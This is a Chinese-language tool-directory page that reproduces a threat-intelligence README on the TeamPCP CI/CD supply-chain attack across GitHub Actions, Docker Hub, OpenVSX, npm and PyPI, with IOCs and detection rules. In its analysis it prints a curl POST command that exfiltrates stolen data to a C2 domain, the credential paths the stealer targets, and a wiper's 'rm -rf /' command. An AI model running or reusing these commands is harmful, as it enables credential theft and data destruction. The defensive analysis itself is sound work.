Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — 2026 年迄今为止最具影响力的 CI/CD 供应链攻击。 | Kitploit
工具/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
容器安全恶意软件分析云安全威胁情报供应链安全学习与教育事件响应精选资源
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — 2026 年迄今为止最具影响力的 CI/CD 供应链攻击。

查看仓库
11341个月前尚未审核

TeamPCP 供应链攻击:技术分析与检测指南

CVE-2026-33634(CVSS 9.4)——2026 年迄今影响最大的 CI/CD 供应链攻击。

2026 年 3 月 19 日至 25 日期间,威胁行为者 TeamPCP(也被追踪为 DeadCatx3、PCPcat、ShellForce、CanisterWorm)在五个生态系统中实施了一次级联供应链入侵:GitHub Actions、Docker Hub、OpenVSX、npm 和 PyPI。该活动始于一个未完全轮换的 GitHub PAT,随后蔓延至两家主要开源安全厂商(Aqua Security 和 Checkmarx)、四个 GitHub Actions 仓库、两个 VS Code 扩展、容器镜像仓库以及 66+ 个 npm 包。

本仓库提供了完整的技术剖析、精选 IOC 列表(已经过误报测试),以及可直接部署到 Microsoft Defender XDR 中的检测查询。


目录

  • 攻击时间线
  • 杀伤链拆解
  • 被入侵的组件
  • 凭证窃取器机制
  • CanisterWorm——npm 传播
  • 针对伊朗的擦除器组件
  • 检测与搜寻
  • IOC 列表
  • 误报(FP)过滤说明
  • MITRE ATT&CK 映射
  • 参考资料

攻击时间线

日期(UTC)事件
2026 年 2 月 20 日创建 hackerbot-claw 账户;开始扫描仓库以寻找可利用的 pull_request_target 工作流
2026 年 2 月 28 日通过 PWN 请求首次入侵 Trivy;凭证被外泄
2026 年 3 月 1 日Aqua Security 尝试遏制——凭证轮换不完整
3 月 19 日 17:43主攻击: TeamPCP 通过被入侵的 aqua-bot 服务账户强制推送了 aquasecurity/trivy-action 中 75/76 个标签以及 setup-trivy 中全部 7 个标签
3 月 19 日 18:22被植入后门的 Trivy v0.69.4 发布到 GitHub Releases、Docker Hub、GHCR、ECR
3 月 20 日 05:40Trivy-action 入侵窗口关闭(约 12 小时)
3 月 20 日 20:45检测到 CanisterWorm 在 npm 中传播——47+ 个包被入侵
3 月 22 日 20:31TeamPCP 在脚本驱动的 2 分钟爆发中篡改了 aquasec-com GitHub 组织下的全部 44 个仓库
3 月 22 日Docker Hub 镜像 0.69.5 和 0.69.6 被推送,携带相同的窃取器有效载荷
3 月 23 日 02:53Checkmarx 波次开始: 通过 ast-phoenix 账户向 OpenVSX 发布了恶意的 ast-results v2.53.0 和 cx-dev-assist v1.7.0
3 月 23 日 12:58通过被入侵的 cx-plugins-releases 账户强制推送了 Checkmarx/kics-github-action 的全部 35 个标签
3 月 23 日 15:41Checkmarx 报告 OpenVSX 问题已解决
3 月 23 日 16:50在用户举报后,KICS GitHub Action 被下架
3 月 23 日 22:25Sysdig 报告 Checkmarx/ast-github-action v2.3.28 也已被入侵
3 月 24 日 08:30LiteLLM 波次: 使用窃取的凭证向 PyPI 发布了被木马化的 litellm v1.82.7 和 v1.82.8
3 月 24 日 11:25PyPI 隔离了恶意的 LiteLLM 版本

杀伤链拆解

阶段 1——初始访问

根本原因:2 月 28 日入侵事件后的凭证轮换不完整。aqua-bot 服务账户的 PAT 要么未被撤销,要么攻击者在轮换期间观察到了新令牌。

TeamPCP 利用这一保留的访问权限,将版本标签强制推送到恶意的冒名提交上。每个伪造的提交都克隆了原始提交的元数据(作者、时间戳、消息),同时将入口点脚本替换为窃取器有效载荷。GitHub 的发布页面没有显示任何可见变化——连“不可变(Immutable)”徽章都正常显示。

阶段 2——有效载荷执行

该窃取器——一个 204 行的 entrypoint.sh,自我标识为“TeamPCP Cloud stealer”——执行三阶段攻击:

阶段 1:内存抓取

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

阶段 2:文件系统凭证扫描

扫描 50+ 个敏感路径,包括:

  • SSH 密钥(~/.ssh/*)
  • AWS/GCP/Azure 凭证
  • Kubernetes 令牌与配置
  • Docker 镜像仓库凭证
  • Terraform 状态文件
  • 加密货币钱包(Solana、Bitcoin、Ethereum、Cardano)
  • npm 令牌(~/.npmrc)
  • Shell 历史记录
  • .env 文件

阶段 3:加密外泄

  • 将所有收集的数据打包为 tpcp.tar.gz
  • 使用 AES-256-CBC(随机会话密钥)+ RSA-4096/RSA-OAEP(攻击者的公钥)加密
  • 通过 curl POST 将数据外泄到针对特定厂商的仿冒域名
  • 后备方案:使用窃取的 GITHUB_TOKEN 在受害者的 GitHub 账户中创建 tpcp-docs 或 docs-tpcp 仓库

阶段 3——持久化

在非 CI 的 Linux 系统上,该恶意软件:

  1. 创建隐藏目录 ~/.config/sysmon/
  2. 投放 Python 后门(sysmon.py)
  3. 安装一个每 50 分钟轮询 C2 的 systemd 用户服务
  4. 自毁开关:如果 C2 响应包含“youtube”,后门将跳过执行

阶段 4——横向移动(Checkmarx 波次)

Trivy 波次中窃取的凭证使得 Checkmarx 的生态系统遭到入侵。每个新波次都使用不同的仿冒域名 C2 域,以规避上一波次的封禁列表:

波次C2 域仿冒对象
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

被入侵的组件

GitHub Actions

OpenVSX 扩展(VS Code Marketplace 未受影响)

扩展恶意版本安全版本
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

这两个扩展于 3 月 23 日 12:53 UTC 通过 ast-phoenix 账户发布,彼此相隔 12 秒。激活时,environmentAuthChecker.js 会检查云供应商凭证,然后从 checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz 拉取第二阶段窃取器。

容器镜像

镜像恶意标签
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

包版本被植入后门的文件
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

三重嵌套的 base64 有效载荷,附带 K8s 横向移动工具包。通过轮询 checkmarx.zone/raw 的 sysmon.service 实现持久化。


凭证窃取器机制

所有波次的外泄模式完全相同:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

仿冒域名策略是刻意为之:分析师在审查 CI/CD 日志时,会看到发往看似该 Action 自身供应商域的 curl 流量。如果不仔细比对,scan.aquasecurtiy.org 在快速日志审查中会被误认为 aquasecurity.org。

只有攻击者能够解密窃取的数据——AES 会话密钥使用其公钥进行 RSA-OAEP 加密。


CanisterWorm——npm 传播

在 Trivy 被入侵后的 24 小时内,窃取的 npm 令牌使得一个自我传播的蠕虫蔓延至 66+ 个包(141 个恶意制品)。

CanisterWorm 的特别之处:

  • 首个有记录的、使用 ICP(互联网计算机协议)区块链 canister 作为 C2 的 npm 恶意软件
  • 位于 tdtqy-oyaaa-aaaae-af2dq-cai 的 canister 是一个去中心化智能合约——没有单一的关停点
  • 暴露 3 个方法:get_latest_link、http_request、update_link
  • 攻击者无需重新发布任何 npm 包,即可在所有受感染机器上轮换有效载荷
  • 自毁开关:如果 canister 返回包含 youtube.com 的 URL,后门将休眠
  • 持久化:伪装成 pgmon(PostgreSQL 监控)的 systemd 用户服务
  • 轮询间隔:每 50 分钟
  • 二进制文件投放至 /tmp/pglog,状态记录在 /tmp/.pg_state

已知被入侵的范围: @emilgroup/*、@teale.io/*(@teale.io/eslint-config v1.8.11、v1.8.12 中的自我传播变体)


针对伊朗的擦除器组件

一个破坏性变体专门针对伊朗系统:

  1. Kubernetes + 伊朗: 在每个节点(包括控制平面)部署特权 DaemonSet,通过名为 kamikaze 的容器擦除数据并强制重启
  2. Kubernetes + 非伊朗: 将 CanisterWorm 后门安装为 systemd 服务
  3. 非 K8s + 伊朗: 使用 sudo 执行 rm -rf / --no-preserve-root
  4. 非 K8s + 非伊朗: 不采取任何行动

通过系统时区和区域设置检查进行检测。


检测与搜寻

Microsoft Defender XDR——自定义检测规则

规则名称: TeamPCP Supply Chain C2 and Malware IOC Match
严重性: 高
类别: 命令与控制(CommandAndControl)
频率: 每 1 小时

完整 KQL 查询请参阅 detection/defender_xdr_query.kql。

该查询涵盖:

  • 7 个 SHA256 文件哈希(窃取器 + CanisterWorm 变体)
  • 2 个 C2 IP 地址
  • 4 个 C2 域(仿冒域名 + ICP canister)
  • 4 个特定的 C2 URL
  • DNS 解析检查

Defender TI 指示器导入

在 iocs/FINAL_TeamPCP_IOC_25Mar2026.csv 处提供了一个可直接导入的 CSV。该文件已针对生产企业环境进行过误报(FP)测试。

其他平台

平台检测
Palo Alto Cortex XDR规则 ioc.linux.shaihulud.2——GitHub Action 运行器上的凭证访问
Sysdig/FalcoContact EC2 Instance Metadata Service From Container、Curl Exfiltrating File、Exfiltration of AWS IMDS Credentials Using LOTL Binary

IOC 列表

文件哈希(SHA256)

网络 IOC

C2 URL 路径

URL功能
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz第二阶段有效载荷下载
checkmarx[.]zone/vsx外泄端点

持久化组件

GitHub 外泄仓库(后备)

名称波次
tpcp-docsTrivy
docs-tpcpCheckmarx

误报(FP)过滤说明

本仓库中的检测查询和 IOC CSV 已针对运行以下环境的生产环境进行过测试:

  • 带有 community.general 和 kubernetes.core 集合的 Ansible AWX/Tower
  • macOS 开发者工作站上的 Claude Code 和 GitHub Copilot
  • FortiMonitor 代理(IMDS 轮询)
  • OCI 实例上的 Oracle AHF(IMDS 轮询)
  • 各种 Python/Node.js 开发工具链

以下 IOC 因确认存在误报而被移除:


MITRE ATT&CK 映射


参考资料


许可证

MIT——可自由使用、分享、改编。欢迎注明出处。


作者: Ugur Can Ates——SOC 团队负责人兼高级安全工程师
最后更新: 2026 年 3 月 25 日

下载工具
Checkmarx/KICS
checkmarx[.]zone
checkmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
仓库被入侵的标签暴露窗口(UTC)入口点
aquasecurity/trivy-action75/76(安全:0.35.0)3 月 19 日 17:43 – 3 月 20 日 05:40entrypoint.sh
aquasecurity/setup-trivy全部 7 个标签3 月 19 日 17:43 – 21:44action.yaml
Checkmarx/kics-github-action全部 35 个标签3 月 23 日 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28(可能全部)3 月 23 日 ~22:25 起setup.sh
哈希描述来源
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aTrivy 恶意 entrypoint.shPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm 第 4 波——最终形态Aikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm 第 3 波——自我传播测试Aikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm 第 2 波——已武装的 ICP 后门Aikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm 第 1 波——deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm 第 2 波——deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm 第 3+ 波——deploy.js(压缩版)Aikido Security
指示器类型用途
83.142.209.11IPC2 服务器(checkmarx.zone)
45.148.10.212IPC2 服务器(scan.aquasecurtiy.org)
checkmarx[.]zone域C2——Checkmarx/KICS/LiteLLM 波次
scan.aquasecurtiy[.]org域C2——Trivy 波次
models.litellm[.]cloud域C2——LiteLLM PyPI 波次
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io域ICP canister 秘密投放点(dead-drop)C2
checkmarx[.]zone/raw
持久化轮询(50 分钟)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ICP canister C2
路径用途
~/.config/sysmon/后门目录
~/.config/sysmon.pyPython 后门
~/.config/systemd/user/sysmon.serviceSystemd 持久化
~/.config/systemd/user/pgmon.serviceCanisterWorm 持久化(PostgreSQL 伪装)
/tmp/pglog下载的二进制文件
/tmp/.pg_stateC2 轮询状态
IOC误报来源
setup.sh(文件名)Ansible 集合、Claude Code 插件缓存、Bitnami 脚本
service.py(文件名)Ansible module_utils、protobuf、boto3、FreeIPA、K8s 核心
deploy.js(文件名)标准 npm/node 文件
169.254.169.254(IMDS IP)FortiMonitor 代理、Oracle AHF——合法监控
icp0.io(父域)范围过广,会命中合法的 ICP 流量
hooks.slack.com(命令行)合法的 Slack 集成
discord.com/api/webhooks(命令行)合法的 Discord 集成
技术ID背景
供应链入侵:软件依赖T1195.002GitHub Actions 标签投毒、OpenVSX、npm、PyPI
不安全凭证:云实例元数据 APIT1552.005从 CI 运行器窃取 AWS IMDS
从密码库获取凭证T1555文件系统凭证扫描(50+ 路径)
操作系统凭证转储T1003抓取 Runner.Worker 的 /proc/mem
通过 C2 通道外泄T1041加密的 tpcp.tar.gz 发送至仿冒域名
Web 服务T1102ICP canister 秘密投放点(dead-drop)C2
Systemd 服务T1543.002pgmon.service、sysmon.service 持久化
入口工具传输T1105下载 checkmarx-util-1.0.4.tgz
获取基础设施:域T1583.001每个波次使用不同的仿冒域名
来源链接
Wiz——KICS 入侵事件https://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz——Trivy 入侵事件https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT——Checkmarx 入侵扩大https://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx 官方公告https://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security——完整时间线https://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security——CanisterWorm 分析https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs——LiteLLM 分析https://www.endorlabs.com/learn/teampcp-isnt-done
Mend——CanisterWorm 分析https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket——npm 入侵事件https://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity——Trivy 分析https://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog——深度分析https://research.jfrog.com/post/canister-worm/
Rami McCarthy——IOC 时间线https://ramimac.me/trivy-teampcp/